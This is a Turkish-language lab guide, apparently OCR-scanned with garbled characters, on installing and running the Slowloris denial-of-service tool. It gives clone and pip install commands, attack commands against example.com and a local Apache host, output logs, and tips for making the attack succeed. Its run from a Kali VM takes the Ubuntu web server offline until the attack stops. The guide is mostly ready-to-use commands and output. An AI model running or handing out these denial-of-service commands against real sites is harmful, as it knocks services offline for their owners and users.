Slowloris Tool Kullanim
a. Kurulumu
(*) Not:

Slowloris araci github’dan indirilmis klasér halinde Downloads klasorii
altinda yer almakta: slowloris-master.zip

> git clone https://github.com/gkbrk/slowloris.git
> chmod -R 777 slowloris/

> cd slowloris

> python3 slowloris.py --help

veya

> sudo su

> apt-get install python3-pip

> pip3 install slowloris

> slowloris --help

b. Kullanimi
(-) Uyarr:
Tool’a adres eklerken http veya https 6neki adreste belirtilmemeli. Aksi takdirde tool
calismiyor ve socket count ¢iktis1 hep 0 veriyor. Belirtilmediginde socket count default
degeri 150 veriyor ve calisiyor. Tool default olarak port 80’e paket gonderimi yapiliyor.
Eger site https ise --https parametresi eklenmeli. SSL modulii ¢iktida belirttigi gibi import

ediyor. Port parametresi icin de 443 ilave olarak eklenebilir.

> python3 slowloris.py example.com
> python3 slowloris.py -p 443 --https example.com

c. Uygulama

(+) Birebir denendi ve basariyla uygulandi.

Gereksinimler
Ubuntu 18.04 LTS - Apache // Hedef : Ana Makine
Tubitak Kali (Ekim, 2020) - Slowloris // Saldir1: Sanal Makine

Ubuntu 18.04 LTS ana makinesindeki apache sunucuya Kali Tubitak sanal makinesinden slowloris
araci ile slowloris saldiris1 uygulanacaktir.

Kali Tubitak:
// indirme

> git clone https://github.com/gkbrk/slowloris.git
> chmod -R 777 slowloris/



> cd slowloris

// Calistirma
> python3 slowloris.py 192.168.0.15 // Ubuntu 18.04 LTS IP’si

Cikti:

[16-07-2021 18:06:44] Attacking 192.168.0.15 with 150 sockets.
[16-07-2021 18:06:44] Creating sockets...

[16-07-2021 18:06:48] Sending keep-alive headers... Socket count: 150
(-) UYARI :

Eger saldiriy: su sekilde baglatirsak saldir1 basarisiz oluyor.

> python3 slowloris.py http://192.168.0.15

Apache sunucu hic etkilenmiyor ve ¢iktida socket count : 0 olarak yansiyor.
http:// veya https:// 6n eki belirtmeden direk domain ad1 (veya ip’si) girilmeli.

Saldir bagladiginda ubuntu 18.04 Its ana makinesindeki apache sunucunun web erisimi kopacaktir.
Ubuntu 18.04 LTS Chrome:

// Erigsim Denemesi
http://localhost

Cikti:
(~) Yikleniyor...

Saldir sonlandirildiginda erisim geliyor.
Kali Tubitak:

// Durdurma
> python3 slowloris.py 192.168.0.15

[16-07-2021 18:06:44] Attacking 192.168.0.15 with 150 sockets.
[16-07-2021 18:06:44] Creating sockets...

[16-07-2021 18:06:48] Sending keep-alive headers... Socket count: 150
CA

Ubuntu 18.04 LTS Chrome:

// Erisim Denemesi
http://localhost



Gikt:

/I Apache sunucudaki kok dizinde yer alan dizinler ve dosyalar ekrana gelir.

Kaynak:

https://github.com/gkbrk/slowloris



